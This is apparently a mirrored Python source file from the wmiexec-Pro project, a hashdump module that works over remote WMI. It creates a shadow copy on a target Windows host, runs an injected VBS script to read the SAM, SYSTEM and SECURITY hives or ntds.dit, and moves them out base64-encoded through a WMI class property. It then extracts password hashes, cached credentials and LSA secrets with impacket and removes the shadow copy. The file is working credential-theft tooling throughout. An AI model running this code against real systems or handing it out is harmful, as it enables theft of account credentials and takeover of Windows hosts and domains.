mirror of
https://github.com/XiaoliChan/wmiexec-Pro.git
synced 2026-10-22 01:06:19 +08:00
182 lines
7.9 KiB
Python
182 lines
7.9 KiB
Python
import logging
|
|
import uuid
|
|
import base64
|
|
import time
|
|
import os
|
|
|
|
from lib.helpers import get_vbs
|
|
from lib.methods.executeScript import executeScript_Toolkit
|
|
from lib.methods.classMethodEx import class_MethodEx
|
|
|
|
from binascii import hexlify
|
|
from impacket.examples.secretsdump import LocalOperations, SAMHashes, LSASecrets, NTDSHashes
|
|
|
|
|
|
class Hashdump():
|
|
def __init__(self, iWbemLevel1Login, dumpType):
|
|
self.iWbemLevel1Login = iWbemLevel1Login
|
|
self.executer = executeScript_Toolkit(self.iWbemLevel1Login)
|
|
self.hostname = self.iWbemLevel1Login._INTERFACE__target
|
|
self.save_Path = os.path.join("save", self.hostname)
|
|
self.timeout = 10
|
|
self.logger = logging.getLogger("wmiexec-pro")
|
|
self.logger_countdown = logging.getLogger("CountdownLogger")
|
|
# Remaining time for shadow copy action
|
|
self.remaining_Time_SS = 10
|
|
self.ClassName_StoreOutput = "Win32_OSRecoveryConfigurationDataStorage"
|
|
self.ShadowCopy_InstanceID = str(uuid.uuid4())
|
|
self.iWbemServices_cimv2 = None
|
|
self.iWbemServices_subscription = None
|
|
self.dumpType = dumpType
|
|
self.creds_FilesInfo = {
|
|
"sss": {
|
|
"filename": ["sam", "system", "security"],
|
|
"directory": "\\windows\\system32\\config\\"
|
|
},
|
|
"ntds": {
|
|
"filename": ["ntds.dit", "system"],
|
|
"directory": "\\Windows\\NTDS\\"
|
|
}
|
|
}[self.dumpType]
|
|
|
|
def hashdump(self):
|
|
if not os.path.exists(self.save_Path):
|
|
os.makedirs(self.save_Path, exist_ok=True)
|
|
|
|
self.logger.info("Starting hashdump...")
|
|
|
|
# Reuse cimv2/subscription namespace to avoid DCOM limitation
|
|
class_Method = class_MethodEx(self.iWbemLevel1Login)
|
|
self.iWbemServices_cimv2, self.iWbemServices_subscription = class_Method.check_ClassStatus(
|
|
ClassName=self.ClassName_StoreOutput,
|
|
return_iWbemServices=True
|
|
)
|
|
|
|
shadow_id, device_object = self._create_shadow_copy()
|
|
if not shadow_id:
|
|
return False
|
|
|
|
# I have been research this for a long time, "ADODB.Stream" can't read "\\?\"" directly
|
|
# But thankfully, after reading the post: https://medium.com/@WaterBucket/understanding-path-resolution-in-windows-70054c446b3b
|
|
# I have try "\??\", then boom!
|
|
kernel_object = device_object.replace("\\\\?\\", "\\??\\")
|
|
if not self._extract_file(kernel_object):
|
|
return False
|
|
|
|
if not self._retrieve_file():
|
|
return False
|
|
|
|
self._parse_hashes()
|
|
|
|
self._cleanup_shadow_copy(shadow_id)
|
|
|
|
def _create_shadow_copy(self):
|
|
try:
|
|
win32_shadowcopy, _ = self.iWbemServices_cimv2.GetObject("Win32_ShadowCopy")
|
|
resp = win32_shadowcopy.Create("C:\\", "ClientAccessible")
|
|
except Exception as e:
|
|
self.logger.error(f"Shadow copy creation failed: {e}")
|
|
return None, None
|
|
else:
|
|
if resp.ReturnValue == 0:
|
|
shadow_id = resp.ShadowID
|
|
self.logger.log(100, f"Shadow copy created: {shadow_id}")
|
|
|
|
# Get device object path
|
|
shadowcopy_instance, _ = self.iWbemServices_cimv2.GetObject(f'Win32_ShadowCopy.ID="{shadow_id}"')
|
|
device_object = shadowcopy_instance.DeviceObject
|
|
self.logger.log(100, f"Device object: {device_object}")
|
|
|
|
return shadow_id, device_object
|
|
else:
|
|
self.logger.error(f"Failed to create shadow copy, error code: {resp.ReturnValue}")
|
|
return None, None
|
|
|
|
def _extract_file(self, kernel_object):
|
|
self.logger.info("Dumping secrets from from shadow copy...")
|
|
|
|
vbs = get_vbs("RetrieveShadowCopy.vbs")
|
|
vbs = vbs.replace("REPLACE_WITH_CLASSNAME", self.ClassName_StoreOutput)
|
|
vbs = vbs.replace("RELEACE_WITH_UUID", self.ShadowCopy_InstanceID)
|
|
vbs = vbs.replace("RELEACE_WITH_KERNELOBJECT", kernel_object)
|
|
vbs = vbs.replace("RELEACE_WITH_PATH", self.creds_FilesInfo["directory"])
|
|
vbs = vbs.replace("REPLACE_WITH_FILES", ', '.join(f'"{filename}"' for filename in self.creds_FilesInfo["filename"]))
|
|
tag = self.executer.ExecuteScript(script_content=vbs, returnTag=True, BlockVerbose=True, iWbemServices=self.iWbemServices_subscription)
|
|
|
|
for i in range(self.remaining_Time_SS, 0, -1):
|
|
self.logger_countdown.info(f"Waiting {i}s for file extraction.\r")
|
|
time.sleep(1)
|
|
|
|
self.executer.remove_Event(tag, BlockVerbose=True)
|
|
return True
|
|
|
|
def _retrieve_file(self):
|
|
for filename in self.creds_FilesInfo["filename"]:
|
|
saved = os.path.join(self.save_Path, filename)
|
|
try:
|
|
self.logger.info(f"Downloading {filename}")
|
|
obj, _ = self.iWbemServices_cimv2.GetObject(f'{self.ClassName_StoreOutput}.CreationClassName="{self.ShadowCopy_InstanceID}_{filename}"')
|
|
record = dict(obj.getProperties())
|
|
with open(saved, "wb") as f:
|
|
f.write(base64.b64decode(record["DebugOptions"]["value"]))
|
|
del obj, record
|
|
except Exception as e:
|
|
self.logger.error(f"Error downloading {filename}: {e}")
|
|
return False
|
|
else:
|
|
if os.path.exists(saved) and os.path.getsize(saved) > 0:
|
|
size = os.path.getsize(saved)
|
|
self.logger.log(100, f"Save {filename} to {saved.upper()}, size: {size} bytes")
|
|
else:
|
|
self.logger.error(f"Failed to download {filename}")
|
|
return False
|
|
return True
|
|
|
|
def _parse_hashes(self):
|
|
try:
|
|
localOperations = LocalOperations(os.path.join(self.save_Path, "system"))
|
|
bootKey = localOperations.getBootKey()
|
|
self.logger.info(f"Boot key extracted successfully, bootkey: 0x{hexlify(bootKey).decode("ascii")}")
|
|
|
|
if self.dumpType == "ntds":
|
|
ntds_hashes = NTDSHashes(
|
|
os.path.join(self.save_Path, "ntds.dit"),
|
|
bootKey,
|
|
isRemote=False,
|
|
history=False,
|
|
noLMHash=localOperations.checkNoLMHashPolicy(),
|
|
remoteOps=None,
|
|
useVSSMethod=True,
|
|
justNTLM=True,
|
|
pwdLastSet=False,
|
|
resumeSession=None,
|
|
outputFileName=None,
|
|
justUser=None,
|
|
printUserStatus=True,
|
|
perSecretCallback=lambda secretType, secret: self.logger.log(100, secret),
|
|
)
|
|
ntds_hashes.dump()
|
|
ntds_hashes.finish()
|
|
else:
|
|
# Get SAM hashes
|
|
self.logger.info("Extracting password hashes from SAM...")
|
|
sam_hashes = SAMHashes(os.path.join(self.save_Path, "sam"), bootKey, isRemote=False, printUserStatus=True, perSecretCallback=lambda secret: self.logger.log(100, secret))
|
|
sam_hashes.dump()
|
|
|
|
lsa_secrets = LSASecrets(os.path.join(self.save_Path, "security"), bootKey, isRemote=False, history=True, perSecretCallback=lambda secretType, secret: self.logger.log(100, secret))
|
|
lsa_secrets.dumpCachedHashes()
|
|
lsa_secrets.dumpSecrets()
|
|
|
|
# Clean up
|
|
sam_hashes.finish()
|
|
lsa_secrets.finish()
|
|
|
|
except Exception as e:
|
|
self.logger.error(f"Failed to parse hashes with impacket: {e}")
|
|
|
|
def _cleanup_shadow_copy(self, shadow_id):
|
|
try:
|
|
self.iWbemServices_cimv2.DeleteInstance(f'Win32_ShadowCopy.ID="{shadow_id}"')
|
|
self.logger.log(100, f"Shadow copy {shadow_id} cleaned up successfully")
|
|
except Exception as e:
|
|
self.logger.error(f"Failed to cleanup shadow copy: {e}") |